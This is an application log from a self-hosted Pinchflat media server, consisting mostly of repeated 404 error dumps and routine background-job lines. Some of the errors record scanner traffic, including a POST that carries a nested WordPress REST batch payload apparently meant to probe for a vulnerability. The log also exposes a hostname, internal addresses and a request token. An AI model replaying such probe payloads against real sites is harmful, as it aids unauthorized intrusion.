404, message: "no route found for GET /open/visitors/info/gets (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.37723.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/open/visitors/info/gets", host: "youtube.plexultra.com", peer: {{198, 18, 13, 14}, 46632}, bindings: %{}, sock: {{198, 18, 13, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "accept-encoding" => "gzip", "accept-language" => "ja-JP,ja;q=0.9", "host" => "youtube.plexultra.com", "origin" => "https://youtube.plexultra.com", "referer" => "https://youtube.plexultra.com/", "user-agent" => "Mozilla/5.0 (iPhone; CPU iPhone OS 17_5 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.5 Mobile/15E148 Safari/604.1", "x-forwarded-for" => "198.18.13.1", "x-forwarded-host" => "youtube.plexultra.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "7e50a363a8b5", "x-real-ip" => "198.18.13.1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "uuid=1", streamid: 2, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "youtube.plexultra.com", method: "GET", owner: #PID<0.37725.0>, params: %{"uuid" => "1"}, path_info: ["open", "visitors", "info", "gets"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://youtube.plexultra.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{"uuid" => "1"}, query_string: "uuid=1", remote_ip: {198, 18, 13, 14}, req_cookies: %{}, req_headers: [ {"accept", "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8"}, {"accept-encoding", "gzip"}, {"accept-language", "ja-JP,ja;q=0.9"}, {"host", "youtube.plexultra.com"}, {"origin", "https://youtube.plexultra.com"}, {"referer", "https://youtube.plexultra.com/"}, {"user-agent", "Mozilla/5.0 (iPhone; CPU iPhone OS 17_5 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.5 Mobile/15E148 Safari/604.1"}, {"x-forwarded-for", "198.18.13.1"}, {"x-forwarded-host", "youtube.plexultra.com"}, {"x-forwarded-port", "443"}, {"x-forwarded-proto", "https"}, {"x-forwarded-server", "7e50a363a8b5"}, {"x-real-ip", "198.18.13.1"} ], request_path: "/open/visitors/info/gets", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GNHTEE8WOJfklJcAAZeh"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.37723.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/open/visitors/info/gets", host: "youtube.plexultra.com", peer: {{198, 18, 13, 14}, 46632}, bindings: %{}, sock: {{198, 18, 13, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "accept-encoding" => "gzip", "accept-language" => "ja-JP,ja;q=0.9", "host" => "youtube.plexultra.com", "origin" => "https://youtube.plexultra.com", "referer" => "https://youtube.plexultra.com/", "user-agent" => "Mozilla/5.0 (iPhone; CPU iPhone OS 17_5 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.5 Mobile/15E148 Safari/604.1", "x-forwarded-for" => "198.18.13.1", "x-forwarded-host" => "youtube.plexultra.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "7e50a363a8b5", "x-real-ip" => "198.18.13.1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "uuid=1", streamid: 2, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /open/visitors/info/gets (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.37723.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/open/visitors/info/gets", host: "youtube.plexultra.com", peer: {{198, 18, 13, 14}, 46632}, bindings: %{}, sock: {{198, 18, 13, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "accept-encoding" => "gzip", "accept-language" => "ja-JP,ja;q=0.9", "host" => "youtube.plexultra.com", "origin" => "https://youtube.plexultra.com", "referer" => "https://youtube.plexultra.com/", "user-agent" => "Mozilla/5.0 (iPhone; CPU iPhone OS 17_5 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.5 Mobile/15E148 Safari/604.1", "x-forwarded-for" => "198.18.13.1", "x-forwarded-host" => "youtube.plexultra.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "7e50a363a8b5", "x-real-ip" => "198.18.13.1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "uuid=1", streamid: 2, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "youtube.plexultra.com", method: "GET", (truncated) 23:36:34.050 [error] #PID<0.37727.0> running PinchflatWeb.Endpoint (connection #PID<0.37726.0>, stream id 1) terminated Server: youtube.plexultra.com:80 (http) Request: GET /open/ ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /open (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.37726.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/open/", host: "youtube.plexultra.com", peer: {{198, 18, 13, 14}, 46642}, bindings: %{}, sock: {{198, 18, 13, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "accept-encoding" => "gzip", "accept-language" => "ja-JP,ja;q=0.9", "host" => "youtube.plexultra.com", "origin" => "https://youtube.plexultra.com", "referer" => "https://youtube.plexultra.com/", "user-agent" => "Mozilla/5.0 (iPhone; CPU iPhone OS 17_5 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.5 Mobile/15E148 Safari/604.1", "x-forwarded-for" => "198.18.13.1", "x-forwarded-host" => "youtube.plexultra.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "7e50a363a8b5", "x-real-ip" => "198.18.13.1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "youtube.plexultra.com", method: "GET", owner: #PID<0.37727.0>, params: %{}, path_info: ["open"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://youtube.plexultra.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {198, 18, 13, 14}, req_cookies: %{}, req_headers: [ {"accept", "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8"}, {"accept-encoding", "gzip"}, {"accept-language", "ja-JP,ja;q=0.9"}, {"host", "youtube.plexultra.com"}, {"origin", "https://youtube.plexultra.com"}, {"referer", "https://youtube.plexultra.com/"}, {"user-agent", "Mozilla/5.0 (iPhone; CPU iPhone OS 17_5 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.5 Mobile/15E148 Safari/604.1"}, {"x-forwarded-for", "198.18.13.1"}, {"x-forwarded-host", "youtube.plexultra.com"}, {"x-forwarded-port", "443"}, {"x-forwarded-proto", "https"}, {"x-forwarded-server", "7e50a363a8b5"}, {"x-real-ip", "198.18.13.1"} ], request_path: "/open/", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GNHTEE8uMCcok5YAAXHE"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.37726.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/open/", host: "youtube.plexultra.com", peer: {{198, 18, 13, 14}, 46642}, bindings: %{}, sock: {{198, 18, 13, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "accept-encoding" => "gzip", "accept-language" => "ja-JP,ja;q=0.9", "host" => "youtube.plexultra.com", "origin" => "https://youtube.plexultra.com", "referer" => "https://youtube.plexultra.com/", "user-agent" => "Mozilla/5.0 (iPhone; CPU iPhone OS 17_5 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.5 Mobile/15E148 Safari/604.1", "x-forwarded-for" => "198.18.13.1", "x-forwarded-host" => "youtube.plexultra.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "7e50a363a8b5", "x-real-ip" => "198.18.13.1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /open (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.37726.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/open/", host: "youtube.plexultra.com", peer: {{198, 18, 13, 14}, 46642}, bindings: %{}, sock: {{198, 18, 13, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "accept-encoding" => "gzip", "accept-language" => "ja-JP,ja;q=0.9", "host" => "youtube.plexultra.com", "origin" => "https://youtube.plexultra.com", "referer" => "https://youtube.plexultra.com/", "user-agent" => "Mozilla/5.0 (iPhone; CPU iPhone OS 17_5 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.5 Mobile/15E148 Safari/604.1", "x-forwarded-for" => "198.18.13.1", "x-forwarded-host" => "youtube.plexultra.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "7e50a363a8b5", "x-real-ip" => "198.18.13.1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "youtube.plexultra.com", method: "GET", owner: #PID<0.37727.0>, params: %{}, path_info: ["open"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_se (truncated) 23:36:52.337 [info] {"source":"oban","duration":2174,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:37:00.728 [info] {"source":"oban","duration":898,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:37:22.343 [info] {"source":"oban","duration":3353,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:37:52.348 [info] {"source":"oban","duration":3428,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:38:00.730 [info] {"source":"oban","duration":838,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:38:22.353 [info] {"source":"oban","duration":2947,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:38:52.359 [info] {"source":"oban","duration":1175,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:39:00.742 [info] {"source":"oban","duration":774,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:39:22.367 [info] {"source":"oban","duration":3464,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:39:52.369 [info] {"source":"oban","duration":1001,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:40:00.747 [info] {"source":"oban","duration":390,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:40:22.374 [info] {"source":"oban","duration":2907,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:40:52.382 [info] {"source":"oban","duration":6070,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:41:00.758 [info] {"source":"oban","duration":450,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:41:22.386 [info] {"source":"oban","duration":3006,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:41:52.388 [info] {"source":"oban","duration":850,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:42:00.759 [info] {"source":"oban","duration":452,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:42:22.399 [info] {"source":"oban","duration":3165,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:42:52.403 [info] {"source":"oban","duration":2133,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:43:00.767 [info] {"source":"oban","duration":242,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:43:22.414 [info] {"source":"oban","duration":906,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:43:52.417 [info] {"source":"oban","duration":1747,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:44:00.770 [info] {"source":"oban","duration":378,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:44:22.421 [info] {"source":"oban","duration":1873,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:44:52.427 [info] {"source":"oban","duration":1820,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:45:00.783 [info] {"source":"oban","duration":1082,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:45:22.430 [info] {"source":"oban","duration":2178,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:45:52.435 [info] {"source":"oban","duration":3129,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:46:00.786 [info] {"source":"oban","duration":893,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:46:22.449 [info] {"source":"oban","duration":3183,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:46:52.453 [info] {"source":"oban","duration":2172,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:47:00.790 [info] {"source":"oban","duration":903,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:47:22.456 [info] {"source":"oban","duration":2014,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:47:52.461 [info] {"source":"oban","duration":3529,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:48:00.792 [info] {"source":"oban","duration":211,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:48:22.467 [info] {"source":"oban","duration":4101,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:48:52.476 [info] {"source":"oban","duration":3373,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:49:00.795 [info] {"source":"oban","duration":883,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:49:22.481 [info] {"source":"oban","duration":3166,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:49:52.485 [info] {"source":"oban","duration":2031,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:50:00.805 [info] {"source":"oban","duration":921,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:50:22.498 [info] {"source":"oban","duration":2660,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:50:30.347 [info] POST / 23:50:30.357 [debug] QUERY OK source="settings" db=0.8ms queue=0.6ms idle=1635.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 23:50:30.358 [debug] QUERY OK source="settings" db=0.4ms queue=0.2ms idle=1330.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 23:50:30.358 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 23:50:30.359 [error] #PID<0.37806.0> running PinchflatWeb.Endpoint (connection #PID<0.37805.0>, stream id 1) terminated Server: youtube.plexultra.com:80 (http) Request: POST /?rest_route=/batch/v1 ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for POST / (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.37805.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/", host: "youtube.plexultra.com", peer: {{198, 18, 13, 14}, 51878}, bindings: %{}, sock: {{198, 18, 13, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept-encoding" => "gzip", "content-length" => "208", "content-type" => "application/json", "host" => "youtube.plexultra.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "198.18.13.1", "x-forwarded-host" => "youtube.plexultra.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "7e50a363a8b5", "x-gx-token" => "gx_b7f9a2e1d8c34f6b", "x-real-ip" => "198.18.13.1" }, method: "POST", body_length: 208, path_info: :undefined, qs: "rest_route=/batch/v1", streamid: 1, has_body: true, host_info: :undefined, has_read_body: true }}, assigns: %{}, body_params: %{ "requests" => [ %{"method" => "POST", "path" => "///"}, %{"method" => "POST", "path" => "/wp/v2/posts"}, %{"method" => "POST", "path" => "/wp/v2/block-renderer/core/archives"}, %{ "body" => %{"requests" => []}, "method" => "POST", "path" => "/batch/v1" } ] }, cookies: %{}, halted: false, host: "youtube.plexultra.com", method: "POST", owner: #PID<0.37806.0>, params: %{ "requests" => [ %{"method" => "POST", "path" => "///"}, %{"method" => "POST", "path" => "/wp/v2/posts"}, %{"method" => "POST", "path" => "/wp/v2/block-renderer/core/archives"}, %{ "body" => %{"requests" => []}, "method" => "POST", "path" => "/batch/v1" } ], "rest_route" => "/batch/v1" }, path_info: [], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://youtube.plexultra.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{"rest_route" => "/batch/v1"}, query_string: "rest_route=/batch/v1", remote_ip: {198, 18, 13, 14}, req_cookies: %{}, req_headers: [ {"accept-encoding", "gzip"}, {"content-length", "208"}, {"content-type", "application/json"}, {"host", "youtube.plexultra.com"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36"}, {"x-forwarded-for", "198.18.13.1"}, {"x-forwarded-host", "youtube.plexultra.com"}, {"x-forwarded-port", "443"}, {"x-forwarded-proto", "https"}, {"x-forwarded-server", "7e50a363a8b5"}, {"x-gx-token", "gx_b7f9a2e1d8c34f6b"}, {"x-real-ip", "198.18.13.1"} ], request_path: "/", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GNHT0wa6V6yHuQQAAXQj"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.37805.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/", host: "youtube.plexultra.com", peer: {{198, 18, 13, 14}, 51878}, bindings: %{}, sock: {{198, 18, 13, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept-encoding" => "gzip", "content-length" => "208", "content-type" => "application/json", "host" => "youtube.plexultra.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "198.18.13.1", "x-forwarded-host" => "youtube.plexultra.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "7e50a363a8b5", "x-gx-token" => "gx_b7f9a2e1d8c34f6b", "x-real-ip" => "198.18.13.1" }, method: "POST", body_length: 208, path_info: :undefined, qs: "rest_route=/batch/v1", streamid: 1, has_body: true, host_info: :undefined, has_read_body: true }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for POST / (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.37805.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/", host: "youtube.plexultra.com", peer: {{198, 18, 13, 14}, 51878}, bindings: %{}, sock: {{198, 18, 13, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept-encoding" => "gzip", "content-length" => "208", "content-type" => "application/json", "host" => "youtube.plexultra.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "198.18.13.1", "x-forwarded-host" => "youtube.plexultra.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "7e50a363a8b5", "x-gx-token" => "gx_b7f9a2e1d8c34f6b", "x-real-ip" => "198.18.13.1" }, method: "POST", body_length: 208, path_info: :undefined, qs: "rest_route=/batch/v1", streamid: 1, has_body: true, host_info: :undefined, has_read_body: true (truncated) 23:50:52.502 [info] {"source":"oban","duration":1574,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:51:00.808 [info] {"source":"oban","duration":1169,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:51:22.504 [info] {"source":"oban","duration":810,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:51:52.516 [info] {"source":"oban","duration":3735,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:52:00.813 [info] {"source":"oban","duration":1148,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:52:22.519 [info] {"source":"oban","duration":1957,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:52:52.524 [info] {"source":"oban","duration":3276,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:53:00.819 [info] {"source":"oban","duration":567,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:53:22.533 [info] {"source":"oban","duration":2883,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:53:52.544 [info] {"source":"oban","duration":3174,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:54:00.822 [info] {"source":"oban","duration":842,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:54:22.550 [info] {"source":"oban","duration":3361,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:54:52.564 [info] {"source":"oban","duration":2173,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:55:00.827 [info] {"source":"oban","duration":425,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:55:22.571 [info] {"source":"oban","duration":3021,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:55:52.577 [info] {"source":"oban","duration":4118,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:56:00.830 [info] {"source":"oban","duration":971,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:56:22.582 [info] {"source":"oban","duration":3110,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:56:52.585 [info] {"source":"oban","duration":1256,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:57:00.835 [info] {"source":"oban","duration":759,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:57:22.587 [info] {"source":"oban","duration":998,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:57:52.589 [info] {"source":"oban","duration":903,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:58:00.835 [info] {"source":"oban","duration":175,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:58:22.592 [info] {"source":"oban","duration":1903,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:58:52.595 [info] {"source":"oban","duration":1336,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:59:00.837 [info] {"source":"oban","duration":582,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:59:22.599 [info] {"source":"oban","duration":3367,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:59:52.606 [info] {"source":"oban","duration":4307,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:00:00.845 [info] {"source":"oban","duration":5614,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:00:22.616 [info] 